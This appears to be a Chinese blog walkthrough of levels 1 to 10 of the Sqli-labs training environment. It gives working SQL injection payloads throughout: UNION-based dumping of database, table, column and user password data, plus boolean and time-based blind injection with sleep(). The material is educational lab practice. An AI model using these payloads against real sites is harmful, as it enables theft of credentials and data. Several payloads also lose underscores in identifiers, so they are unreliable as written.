Sqli-lab详解(持续更新ing)

目前进度到前10关

第一关

先使用“ \”判断语句中语句是以什么符号进行闭合

?id=1’报错

?id=1’ --+不报错

说明确实是单引号闭合

-- 是SQL中的注释开始标记,后面跟上一个空格(或换行符)来明确表示注释的开始。在大多数SQL数据库中,这种注释方式会一直持续到行尾。因此,在id=-1’ union select 1,database(),3 --+这样的注入字符串中,--+的目的是注释掉原始SQL查询中id=-1’之后的所有内容

?id=1’ order by 3--+ 判断数据库含有多少列

可以判断出数据库有3列

?id=-1’ union select 1,2,3 --+ 显示报错位

UNION 关键字在SQL中用于合并两个或多个 SELECT 语句的结果集,并删除重复的行。在这里, union select 1,2,3 意味着攻击者希望将一个新的 SELECT 语句的结果集与原始查询的结果集合并(当union前面的语句为false,才会执行后面语句—故这里id=-1)。

?id=-1’ union select 1,database(),3 --+ 爆破库名:此处1,3均为占位符 占位符位置随意设置

?id=-1’ union select 1,tablename,3 from informationschema.tables where

table_schema=‘security’ limit 3,1 --+ 爆破表格名称

groupconcat(tablename)一次性爆破全部表名

?id=-1’ union select 1,groupconcat(columnname),3 from

informationschema.columns where tableschema=‘security’ and table_name=‘users’ --+ 爆破列名

使用GROUP_CONCAT可以将多个记录合并为一个结果,从而可能绕过这些限制。

?id=-1’ union select 1,groupconcat(username),groupconcat(password) from users --+ 爆破数据

?id=-1' union select 1,(select groupconcat(username) from security.users),(select groupconcat(password) from security.users)--+

第二关

判断sql注入闭合类型

?id=1' enter后根据提示判断闭合方式

由此我们可以看到本题中没有闭合方式

判断列数 使用order by+num语句我们可以看到当num=3时界面还会显示出用户信息但num=4时开始报错 证明该数据库拥有三列数据

使用联合注入:?id=-1 union select 1,2,3判断回显位置

?id=-1’ union select 1,database(),3 --+ 爆破库名

?id=-1 union select 1,groupconcat(tablename),3 from informationschema.tables where tableschema='security' --+ 爆破security数据库中所有的表名

?id=-1 union select 1,groupconcat(columnname),3 from informationschema.columns where tableschema='security' and table_name='users' --+ 爆破users中的全部列名

数据爆破 ?id=-1 union select 1,group_concat(id,username,password),3 from users --+

第三关

判断闭合方式

可以猜想本题闭合方式采用‘)的方式

由图我们可以证明猜想正确

判断列数

爆破库名

爆破表名

爆破列名

爆破数据

第四关(与前三关原理相同)

第五关

确定sql注入方法

第五关根据页面结果得知是字符型但是和前面四关还是不一样是因为页面虽然有东西。但是只有对于请求对错出现不一样页面其余的就没有了。这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择布尔盲注

判断闭合方式

由图我们可以得到本题的闭合方式为单引号闭合

判断库名长度 ?id=1'and length((select database()))>7--+

布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。

判断长度时我们可以将length调大一些以防库名显示不完全

ascii 函数用于返回指定字符串表达式最左侧字符的ASCII码值,以便攻击者可以推断出实际的字符是什么。

例如,如果数据库名的第一个字符是 's',那么 ascii('s') 将返回 115,因为 's' 在ASCII表中的码值是 115

id=1' and ascii(substr((select database()),n,1))=115--+ 判断通过输入n对应的ASCII值来匹配库名的字母

"s"

"e"

?id=1' and length((select groupconcat(tablename) from informationschema.tables where tableschema=database()))>13--+ 判断表名长度

这里使用到了group_concat函数 ,及表名长度为多个表名的加和长度 也可以使用limit3,1函数 使ascii函数定位在“users”表中

?id=1'and ascii(substr((select groupconcat(tablename) from informationschema.tables where tableschema=database()),n,1))>100--+ 判断通过输入对应的ASCII值来匹配表名的字母

“e”

?id=1'and length((select groupconcat(columnname) from informationschema.columns where tableschema=database() and table_name='users'))>19--+ 判断所有表名的加和长度

?id=1'and ascii(substr((select groupconcat(columnname) from informationschema.columns where tableschema=database() and table_name='users'),1,1))>104--+ ascii逐个判断字符对应的ascii值

”i“

?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>67--+ 逐一检测内容

“D”

“u”

第六关

第六关和第五关相似,根据页面报错信息可以猜测id参数是双引号,只需将第五关的单引号换成双引号就可以了。

判断库名长度 ?id=1"and length((select database()))>7--+

id=1" and ascii(substr((select database()),1,1))=115--+ ASCII值来匹配库名的字母

?id=1" and length((select groupconcat(tablename) from informationschema.tables where tableschema=database()))>13--+ 判断表名长度

?id=1"and ascii(substr((select groupconcat(tablename) from informationschema.tables where tableschema=database()),1,1))>100--+ ASCII值来匹配表名的字母

?id=1"and length((select groupconcat(columnname) from informationschema.columns where tableschema=database() and table_name='users'))>19--+ 判断所有表名(字段)加和长度

?id=1"and ascii(substr((select groupconcat(columnname) from informationschema.columns where tableschema=database() and table_name='users'),1,1))>104--+ ascii匹配内容

?id=1" and ascii(substr((select group_concat(username,password) from users),1,1))>67--+ 检测内容

第七关

与前面不同的是,第七关的回显方式在报错时不会显示报错信息,于是我们就要通过反复地一系列特殊符号组合来判断他的闭合方式,首先我们输入id=1'和id=1'--+,可以发现网页显示报错,输入id=1"和id=1"--+发现此时没有报错信息,由此我们可以判断出该网页由单引号与其他符号组合闭合,因为单引号破坏了他原有语法结构。接着我们尝试输入id=1')--+和id=1'))--+,可以发现在id=1')时网页没有报错信息,由此判断本题的闭合方式为id=1'))--+,后续的过关方式也同前面一样选择布尔盲注。

第八关

第八题实质上与第五题无异,区别在于本题在输入错误信息时没有报错,故我们需要像第七关一样逐个尝试,可以发现在输入id=1'--+时页面显示You are in…字样,证明本题闭合方式为id=1'--+,其余操作与上面布尔盲注习题步骤相同。

第九关

这一关我们可以发现在判断闭合符号时页面显示出来的字符始终是一样的,这种情况下我们呢就不能和上面一样采取布尔盲注的注入方式,因为布尔盲注只适用于页面会根据正确和错误的输入做出不同的反应,如果页面始终处于一种不变的状态时我们可以采用时间盲注的注入方法。

时间盲注的原理基于数据库查询的时间延迟。当对数据库进行查询操作时,如果查询的条件不存在,语句执行的速度非常快,执行时间基本可以认为是0。而如果查询条件存在,并且查询语句中包含了能够影响系统运行时间的函数(如sleep()函数),则会导致查询执行时间延长。攻击者通过控制SQL语句的执行时间,并观察页面加载时间的变化,来判断注入的语句是否被成功执行,从而推断出数据库的信息。时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。

时间盲注的注入流程

  1. 判断注入点:首先,需要确定是否存在SQL注入点。这通常通过向应用程序的输入字段中插入特定的SQL语句并观察应用程序的响应来实现。

  2. 测试可注入方式:在确认存在注入点后,需要测试是否可以使用时间盲注的方式进行注入。这通常通过向SQL语句中插入sleep()函数并观察页面加载时间的变化来实现。

  3. 猜数据库长度:使用if()length()函数结合sleep()函数来猜测数据库名的长度。通过不断改变length()函数中的参数值,并观察页面加载时间的变化,可以推断出数据库名的长度。

  4. 猜数据库名:在知道数据库名的长度后,可以使用if()substr()ascii()函数结合sleep()函数来逐字符地猜测数据库名。通过不断改变substr()函数中的起始位置和ascii()函数中的比较值,并观察页面加载时间的变化,可以推断出数据库名的每个字符的ASCII码值,进而得到数据库名。

  5. 推测数据库中的表信息:类似地,可以使用相同的方法来推测数据库中的表名、列名以及具体的数据值等信息。

?id=1' and if(1=1,sleep(5),1)--+ 判断参数构造

if(a,sleep(5),1)如果a结果是真的,那么执行sleep(5)页面延迟5秒,如果a的结果是假,执行1,页面不延迟.由此我们可以判断出本题为单引号闭合

?id=1'and if(length((select database()))>7,sleep(5),1)--+ 判断库名的长度=8

?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ 判断库名的字符=“s”

?id=1'and if(length((select groupconcat(tablename) from informationschema.tables where tableschema=database()))>13,sleep(5),1)--+ 判断所有表名的长度(也可以使用limit函数注意判断)

?id=1'and if(ascii(substr((select groupconcat(tablename) from informationschema.tables where tableschema=database()),1,1))>99,sleep(5),1)--+ ascii判断表名

?id=1'and if(length((select groupconcat(columnname) from informationschema.columns where tableschema=database() and table_name='users'))>19,sleep(5),1)--+ 判断字段长度

?id=1'and if(ascii(substr((select groupconcat(columnname) from informationschema.columns where tableschema=database() and table_name='users'),1,1))>99,sleep(5),1)--+ ascii判断字段名

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+ 判断字段内容长度

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+ ascii判断内容

第十关

与第九关相同,不过本题采用双引号闭合

  • 16
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值